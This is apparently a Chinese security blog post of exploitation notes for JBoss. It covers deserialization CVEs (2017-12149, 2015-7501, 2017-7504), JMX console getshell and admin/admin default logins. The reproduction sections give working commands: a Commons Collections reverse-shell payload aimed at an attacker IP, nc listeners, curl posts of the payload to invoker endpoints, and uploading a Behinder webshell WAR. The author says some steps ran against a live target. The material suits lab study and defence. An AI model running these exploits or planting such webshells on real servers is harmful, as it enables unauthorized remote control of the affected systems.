<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    最全的Jboss漏洞復現筆記

    VSole2022-01-25 07:42:23

    簡介

    JBoss是一個基于J2EE的開放源代碼應用服務器,代碼遵循LGPL許可,可以在任何商業應用中免費使用;JBoss也是一個管理EJB的容器和服務器,支持EJB 1.1、EJB 2.0和EJB3規范。但JBoss核心服務不包括支持servlet/JSP的WEB容器,一般與Tomcat或Jetty綁定使用。在J2EE應用服務器領域,JBoss是發展最為迅速的應用服務器。由于JBoss遵循商業友好的LGPL授權分發,并且由開源社區開發,這使得JBoss廣為流行。

    CVE-2017-12149

    JBOSSApplication Server反序列化命令執行漏洞(CVE-2017-12149),遠程攻擊者利用漏洞可在未經任何身份驗證的服務器主機上執行任意代碼。

    漏洞原理

    該漏洞為 Java反序列化錯誤類型,存在于 Jboss 的 HttpInvoker 組件中的 ReadOnlyAccessFilter 過濾器中沒有進行任何安全檢查的情況下嘗試將來自客戶端的數據流進行反序列化,從而導致了漏洞。

    首先需要了解Java的序列化和反序列化。Java序列化就是指把Java對象轉換為字節序列的過程,在傳遞和保存對象時.保證對象的完整性和可傳遞性。對象轉換為有序字節流,以便在網絡上傳輸或者保存在本地文件中。Java反序列化就是指把字節序列恢復為Java對象的過程,根據字節流中保存的對象狀態及描述信息,通過反序列化重建對象。

    用代碼看就是:

    序列化:

    FileOutputStream fos = newFileOutputStream(file); 
    ObjectOutputStream oos = newObjectOutputStream(fos); 
    oos.writeObject(st);
    

    反序列化:

    FileInputStream fis = newFileInputStream(file); 
    ObjectInputStream ois = newObjectInputStream(fis); 
    Student st1 = (Student) ois.readObject();
    

    CVE-2017-12149的漏洞出現在HttpInvoker組件中的ReadOnlyAccessFilter過濾器中,源碼在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目錄下的ReadOnlyAccessFilter.class文件中,其中doFilter函數代碼如下

    可以看出它從http中獲取數據,通過調用readobject()方法對數據流進行反序列操作,但是沒有進行檢查或者過濾。這就造成了JBoss中invoker/JMXInvokerServlet路徑對外開放,而且JBoss的jmx組件支持Java反序列化

    漏洞復現

    首先進入CVE-2017-12149的docker環境

    cd jboss
    ls
    cd CVE-2017-12149
    sudo docker-compose up -d
    docker ps
    

    訪問http://192.168.1.8:8080/invoker/readonly,若返回如下界面則存在漏洞

    這里需要用到javac進行編譯ser文件,所以首先安裝java環境

    cd /opt
    curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
    tar zxvf jdk-8u20-linux-x64.tar.gz
    rm -rf /usr/bin/java*
    ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
    javac -version
    java -version
    

    可以看到這里javac環境已經存在

    利用反序列化工具CVE-2015-7501:https://github.com/ianxtianxt/CVE-2015-7501/,這里使用的反序列化工具對于CVE-2017-12149和CVE-2015-7501兩個漏洞都可以進行利用,總體上都是利用java的反序列化

    這里我git這個工具一直git不下來,就找了個實戰的環境打了碼,原理跟docker復現是一樣的

    首先使用java編譯ser文件

    javac -cp .:commons-collections-3.2.1.jar
    ReverseShellCommonsCollectionsHashMap.java
    java -cp .:commons-collections-3.2.1.jarReverseShellCommonsCollectionsHashMap192.168.1.192:4444(IP是攻擊機ip,4444是要監聽的端口)
    

    這個時候在這個目錄下生成了一個ReverseShellCommonsCollectionsHashMap.ser文件

    這個時候我們還需要使用nc來監聽一個端口來接受反彈shell

    再使用一個curl去請求反彈建立連接,就能夠得到一個反彈shell

    curl http://目標機ip:port/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
    

    CVE-2015-7501

    JMXInvokerServlet 反序列化漏洞(CVE-2015-7501),JBoss在/invoker/JMXInvokerServlet請求中讀取了用戶傳入的對象,然后我們利用Apache Commons Collections中的Gadget執行任意代碼。

    漏洞原理

    跟之前的CVE-2017-12149漏洞相似,都是使用了java的反序列化,該漏洞為 Java反序列化錯誤類型,存在于 Jboss 的 HttpInvoker 組件中的 ReadOnlyAccessFilter 過濾器中沒有進行任何安全檢查的情況下嘗試將來自客戶端的數據流進行反序列化,JBoss在/invoker/JMXInvokerServlet請求中讀取了用戶傳入的對象,從而導致了漏洞。

    漏洞復現

    進入CVE-2015-7501的docker環境,這里在vlunhub里面是直接用JMXInvokerServlet命名漏洞環境

    訪問http://192.168.1.8:8080/invoker/JMXInvokerServlet彈出對話框則存在漏洞

    使用nc監聽4444端口,然后跟CVE-2017-12149一樣使用java編譯生成一個ser文件執行,使用nc監聽端口即可得到反彈shell

    nc -lvp 4444
    curl http://192.168.112.148:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
    

    CVE-2017-7504

    CVE-2017-7504為JBossMQ JMS 反序列化漏洞

    漏洞原理

    CVE-2017-7504漏洞與CVE-2015-7501的漏洞原理相似,只是利用的路徑稍微出現了變化,CVE-2017-7504出現在/jbossmq-httpil/HTTPServerILServlet路徑下。JBoss AS 4.x及之前版本中,JbossMQ實現過程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java?件存在反序列化漏洞,遠程攻擊者可借助特制的序列化數據利?該漏洞執?任意代碼

    漏洞復現

    進入CVE-2017-7504的漏洞docker環境

    訪問http://192.168.1.10:8080/jbossmq-httpil/HTTPServerILServlet,若出現如下界面則存在漏洞

    使用nc打開端口監聽,再用之前生成的.ser文件,通過POST二進制數據上去,使用nc監聽端口,即可拿到shell

    nc -lvp 4444
    curl http://192.168.112.148:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
    

    CVE-2007-1036

    CVE-2007-1036即JMX Console HtmlAdaptor Getshell,因為JBoss中/jmx-console/HtmlAdaptor路徑對外開放,并且沒有任何身份驗證機制,導致攻擊者可以進入到jmx控制臺,并在其中執行任何功能

    漏洞原理

    該漏洞利用的是后臺中jboss.admin -> DeploymentFileRepository -> store()方法,通過向四個參數傳入信息,達到上傳shell的目的,其中arg0傳入的是部署的war包名字,arg1傳入的是上傳的文件的文件名,arg2傳入的是上傳文件的文件格式,arg3傳入的是上傳文件中的內容。通過控制這四個參數即可上傳shell,控制整臺服務器,arg1和arg2可以進行文件的拼接,例如arg1=she,arg2=ll.jsp。這個時候服務器還是會進行拼接,將shell.jsp傳入到指定路徑下

    漏洞復現

    這里使用之前的docker即可,首先訪問下8080端口是一個jboss

    !

    訪問192.168.1.10:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin%3Aservice%3DDeploymentFileRepository定位到store()方法

    p1為部署包的名字,p2為腳本名字,p3為腳本后綴,p4為腳本內容即我們需要寫入的shell

    點擊invoke部署看到successfully說明上傳成功,這時候再使用冰蝎連接即可

    JMX Console未授權訪問

    漏洞原理

    默認情況下訪問 http://ip:8080/jmx-console 就可以瀏覽 JBoss 的部署管理的信息不需要輸入用戶名和密碼可以直接部署上傳木馬有安全隱患

    部署的war包在本地的路徑為:

    JBoss AS 6.x:C:\jboss-6.1.0.Final\server\default\work\jboss.web\localhost

    JBoss AS 4.x:C:\jboss-4.2.3.GA\server\default\work\jboss.web\localhost

    漏洞復現

    使用之前的docker訪問8080端口,點擊JMX Console直接進入

    找到flavor字符串,這一行就是jboss遠程部署war包所在的位置

    點進去之后找到addURL()這個位置

    準備一個jsp小馬,這里我用使用的是冰蝎,用jar打包當前文件夾下的文件

    jar -cvf shell.war .
    

    得到shell.war

    使用python啟動一個http服務

    python -m http.server
    

    訪問一下能夠訪問到

    再回到addURL()的地方,輸入war文件的地址,然后點擊inmoke部署

    可以看到已經部署成功了

    返回之后可以看到部署的物理位置

    點擊應用更改

    訪問一下可以訪問到,證明已經上傳成功

    這里使用冰蝎連接即可

    弱口令getshell

    在jboss的6.x版本里面存在一個弱口令admin/admin,使用弱口令登陸后臺并上傳war包

    漏洞原理

    JBoss Administration Console存在默認賬號密碼admin/admin,如果Administration Console可以登錄,就可以在后臺部署war包getshell

    漏洞復現

    訪問8080端口點擊Administration Console

    使用admin/admin進入后臺

    選擇war包進行上傳

    上傳成功,使用冰蝎連接即可

    jbossjboss部署
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Jboss是一個基于J2EE的開放源代碼的應用服務器。JBoss代碼遵循LGPL許可,可以在任何商業應用中免費使用。JBoss是一個管理EJB的容器和服務器,支持EJB 1.1、EJB 2.0和EJB3的規范。但JBoss核心服務不包括支持servlet/JSP的WEB容器,一般與Tomcat或Jetty綁定使用。
    到達客戶現場后第一時間告知負責網絡相關的人員請勿對被篡改文件進行刪除或修改,這樣做的原因是方便后續對入侵途徑進行溯源分析。發生安全事件的服務器為Windows還是Linux或者其他的操作系統,確認好操作系統類型方便取證工作。是否為用戶誤操作所導致觸發告警。Windows系統下:使用“MD5校驗器”打開原有文件與疑似篡改文件,獲得MD5值后進行比對,如果兩文件MD5不一樣證明該文件被篡改。
    干貨|最全的Jboss漏洞復現筆記
    JBoss核心服務不包括支持servlet/JSP的WEB容器,一般與Tomcat或Jetty綁定使用。在J2EE應用服務器領域,JBoss是發展最為迅速的應用服務器。
    環境搭建完成后,直接使用工具檢測即可:工具下載地址https://cdn.vulhub.org/deserialization/DeserializeExploit.jar 環境啟動以后,直接訪問http://you-ip:8080。
    JBoss是一個基于J2EE的開放源代碼應用服務器,代碼遵循LGPL許可,可以在任何商業應用中免費使用;JBoss也是一個管理EJB的容器和服務器,支持EJB 1.1、EJB 2.0和EJB3規范。但JBoss核心服務不包括支持servlet/JSP的WEB容器,一般與Tomcat或Jetty綁定使用。在J2EE應用服務器領域,JBoss是發展最為迅速的應用服務器。由于JBoss遵循商業友好的LG
    0x00 前言這次滲透測試是從一個CVE開始的,從CVE到內網然后到域控!首先對發現了該站點有JBoss頁面,經過測試發現具有JBoss反序列化漏洞。使用網上提供的EXP和利用方法,在VPS上面獲取了一個shell。
    這篇文章主要收集一些常見的未授權訪問漏洞。未授權訪問漏洞可以理解為需要安全配置或權限認證的地址、授權頁面存在缺陷導致其他用戶可以直接訪問從而引發重要權限可被操作、數據庫或網站目錄等敏感信息泄露。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类